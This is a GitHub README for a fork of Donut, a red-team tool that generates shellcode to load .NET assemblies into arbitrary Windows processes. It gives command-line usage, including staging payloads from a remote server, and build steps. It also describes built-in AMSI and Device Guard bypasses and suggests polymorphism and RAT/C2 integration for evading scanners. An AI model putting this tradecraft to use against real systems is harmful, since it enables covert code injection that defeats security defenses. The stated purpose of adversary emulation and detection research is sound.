Skip to content
/ donut Public
forked from TheWover/donut

Generates x86, x64, or AMD64+x86 position-independent shellcode that loads .NET Assemblies from memory and runs them with parameters

License

Notifications You must be signed in to change notification settings

0x09AL/donut

 
 

Repository files navigation

Using Donut

Alt text
Version: 0.9.1 (Beta) please submit issues and requests for v1.0 release

Odzhan's blog post (about the generator): https://modexp.wordpress.com/2019/05/10/dotnet-loader-shellcode/

TheWover's blog post (detailed walkthrough, and about how donut affects tradecraft): https://thewover.github.io/Introducing-Donut/

Version 0.9.1 "Apple Fritter" Release Blog Post: https://thewover.github.io/Apple-Fritter/

Introduction

Donut is a shellcode generation tool that creates position-independant shellcode payloads from .NET Assemblies. This shellcode may be used to inject the Assembly into arbitrary Windows processes. Given an arbitrary .NET Assembly, parameters, and an entry point (such as Program.Main), it produces position-independent shellcode that loads it from memory. The .NET Assembly can either be staged from a URL or stageless by being embedded directly in the shellcode. Either way, the .NET Assembly is encrypted with the Chaskey block cipher and a 128-bit randomly generated key. After the Assembly is loaded through the CLR, the original reference is erased from memory to deter memory scanners. The Assembly is loaded into a new Application Domain to allow for running Assemblies in disposable AppDomains.

It can be used in several ways.

As a Standalone Tool

Donut can be used as-is to generate shellcode from arbitrary .NET Assemblies. Both a Windows EXE and a Python script (Python planned for v1.0) are provided for payload generation. The command-line syntax is as described below.


usage: donut [options] -f <.NET assembly>

       -f <path>            .NET assembly to embed in PIC and DLL.
       -u <URL>             HTTP server that will host the .NET assembly.
       -c <namespace.class> Optional class name. (required for DLL)
       -m <method>          Optional method name. (required for DLL)
       -p <arg1,arg2...>    Optional parameters or command line, separated by comma or semi-colon.
       -a <arch>            Target architecture : 1=x86, 2=amd64, 3=amd64+x86(default).
       -r <version>         CLR runtime version. MetaHeader used by default or v4.0.30319 if none available.
       -d <name>            AppDomain name to create for assembly. Randomly generated by default.

 examples:

    donut -f assembly.exe
    donut -a1 -cTestClass -mRunProcess -pnotepad.exe -floader.dll
    donut -f loader.dll -c TestClass -m RunProcess -p notepad.exe -u http://remote_server.com/modules/

Building Donut from Source:

Tags have been provided for each release version of donut that contain the compiled executables.

However, you may also clone and build the source yourself using the provided makefiles. Start a Microsoft Visual Studio Developer Command Prompt and cd to donut's directory. The Microsft (non-gcc) Makefile can be specified with -f Makefile.msvc. The makefile provides the following commmands to build donut:

nmake donut -f Makefile.msvc
nmake debug -f Makefile.msvc
nmake clean -f Makefile.msvc

As a Library

donut can be compiled as both dynamic and static libraries for both Linux (.a / .so) and Windows(.lib / .dll). It has a simple API that is described in docs/api.html. Two exported functions are provided: int DonutCreate(PDONUT_CONFIG c) and int DonutDelete(PDONUT_CONFIG c) .

As a Template - Rebuilding the shellcode

payload.c contains the .NET assembly loader, which should successfully compile with both Microsoft Visual Studio and mingw-w64. Make files have been provided for both compilers which will generate x86-64 shellcode by default unless x86 is supplied as a label to nmake/make. Whenever payload.c has been changed, recompiling for all architectures is recommended before rebuilding donut.

Microsoft Visual Studio

Open the x64 Microsoft Visual Studio build environment, switch to the payload directory, and type the following:

nmake clean -f Makefile.msvc
nmake -f Makefile.msvc

This should generate a 64-bit executable (payload.exe) from payload.c. exe2h will then extract the shellcode from the .text segment of the PE file and save it as a C array to payload_exe_x64.h. When donut is rebuilt, this new shellcode will be used for all payloads that it generates.

To generate 32-bit shellcode, open the x86 Microsoft Visual Studio build environment, switch to the payload directory, and type the following:

nmake clean -f Makefile.msvc
nmake x86 -f Makefile.msvc

This will save the shellcode as a C array to payload_exe_x86.h.

Mingw-w64

Assuming you're on Linux and mingw-w64 has been installed from packages or source, you may still rebuild the shellcode using our provided makefile. Change to the payload directory and type the following:

make clean -f Makefile.mingw
make -f Makefile.mingw

Once you've recompiled for all architectures, you may rebuild donut.

Bypasses

Donut includes a bypass system for AMSI and other security features. Currently we bypass:

  • AMSI in .NET v4.8
  • Device Guard policy preventing dynamicly generated code from executing

You may customize our bypasses or add your own. The bypass logic is defined in payload/bypass.c.

Each bypass implements the DisableAMSI fuction with the signature BOOL DisableAMSI(PDONUT_INSTANCE inst), and comes with a corresponding preprocessor directive. We have several #if defined blocks that check for definitions. Each block implements the same bypass function. For instance, our first bypass is called BYPASS_AMSI_A. If donut is built with that variable defined, then that bypass will be used.

Why do it this way? Because it means that only the bypass you are using is built into payload.exe. As a result, the others are not included in your shellcode. This reduces the size and complexity of your shellcode, adds modularity to the design, and ensures that scanners cannot find suspicious blocks in your shellcode that you are not actually using.

Another benefit of this design is that you may write your own AMSI bypass. To build Donut with your new bypass, use an if defined block for your bypass and modify the makefile to add an option that builds with the name of your bypass defined.

If you wanted to, you could extend our bypass system to add in other pre-execution logic that runs before your .NET Assembly is loaded.

Odzhan wrote a blog post on the details of our AMSI bypass research.

Additional features.

These are left as exercises to the reader. I would personally recommend:

  • Add environmental keying
  • Make donut polymorphic by obfuscating payload every time shellcode is generated
  • Integrate donut as a module into your favorite RAT/C2 Framework

Disclaimers

  • No, we will not update donut to counter signatures or detections by any AV.
  • We are not responsible for any misuse of this software or technique. Donut is provided as a demonstration of CLR Injection through shellcode in order to provide red teamers a way to emulate adversaries and defenders a frame of reference for building analytics and mitigations. This inevitably runs the risk of malware authors and threat actors misusing it. However, we believe that the net benefit outweighs the risk. Hopefully that is correct.

How it works

Procedure

Donut uses the Unmanaged CLR Hosting API to load the Common Language Runtime. If necessary, the Assembly is downloaded into memory. Either way, it is decrypted using the Chaskey block cipher. Once the CLR is loaded into the host process, a new AppDomain will be created using a random name unless otherwise specified. Once the AppDomain is ready, the .NET Assembly is loaded through AppDomain.Load_3. Finally, the Entry Point specified by the user is invoked with any specified parameters.

The logic above describes how the shellcode generated by donut works. That logic is defined in payload.exe. To get the shellcode, exe2h extracts the compiled machine code from the .text segment in payload.exe and saves it as a C array to a C header file. donut combines the shellcode with a Donut Instance (a configuration for the shellcode) and a Donut Module (a structure containing the .NET assembly, class name, method name and any parameters).

Refer to MSDN for documentation on the Undocumented CLR Hosting API: https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/clr-hosting-interfaces

For a standalone example of a CLR Host, refer to Casey Smith's AssemblyLoader repo: https://github.com/caseysmithrc/AssemblyLoader

Detailed blog posts about how donut works are available at both Odzhan's and TheWover's blogs. Links are at the top of the README.

Components

Donut contains the following elements:

  • donut.c: The source code for the donut payload generator
  • donut.exe: The compiled payload generator as an EXE
  • donut.py: The donut payload generator as a Python script (planned for version 1.0)
  • lib/donut.dll, lib/donut.lib: Donut as a dynamic and static library for use in other projects on Windows platform
  • lib/donut.so, lib/donut.a: Donut as a dynamic and static library for use in other projects on the Linux platform
  • lib/donut.h: Header file to include if using the static or dynamic libraries in a C/C++ project
  • payload/payload.c: Source code for the shellcode
  • payload/payload.exe: The compiled payload. The shellcode is extracted from this binary file.
  • payload/inject.c: A C shellcode injector that injects payload.bin into a specified process for testing.
  • payload/inject.exe: The compiled C shellcode injector
  • payload/runsc.c: A C shellcode runner for testing payload.bin in the simplest manner possible
  • payload/runsc.exe: The compiled C shellcode runner
  • payload/exe2h/exe2h.c: Source code for exe2h
  • payload/exe2h/exe2h.exe: Extracts the useful machine code from payload.exe and saves as array to C header file
  • encrypt.c: Chaskey 128-bit block cipher in Counter (CTR) mode used for encryption.
  • hash.c: Maru hash function. Uses the Speck 64-bit block cipher with Davies-Meyer construction for API hashing.

Subprojects

There are three companion projects provided with donut:

  • DemoCreateProcess: A sample .NET Assembly to use in testing. Takes two command-line parameters that each specify a program to execute.
  • DonutTest: A simple C# shellcode injector to use in testing donut. The shellcode must be base64 encoded and copied in as a string.
  • ModuleMonitor: A proof-of-concept tool that detects CLR injection as it is done by tools such as donut and Cobalt Strike's execute-assembly.
  • ProcessManager: A Process Discovery tool that offensive operators may use to determine what to inject into and defensive operators may use to determine what is running, what properties those processes have, and whether or not they have the CLR loaded.

Project plan

  • Create a donut Python C extension that allows users to write Python programs that can use the donut API programmatically. It would be written in C, but exposed as a Python module.
  • Create a C# version of the generator
  • Create a donut.py generator that uses the same command-line parameters as donut.exe
  • Add support for HTTP proxies
  • Find ways to simplify the shellcode if possible
  • Add option to specify max parameter length
  • Add support for dynamically finding the entry point of EXEs and executing with command-line params
  • Write a blog post on how to integrate donut into your tooling, debug it, customize it, and design payloads that work with it

About

Generates x86, x64, or AMD64+x86 position-independent shellcode that loads .NET Assemblies from memory and runs them with parameters

Resources

License

Stars

Watchers

Forks

Packages

No packages published

Languages

  • C 77.7%
  • C# 20.8%
  • C++ 1.3%
  • Makefile 0.2%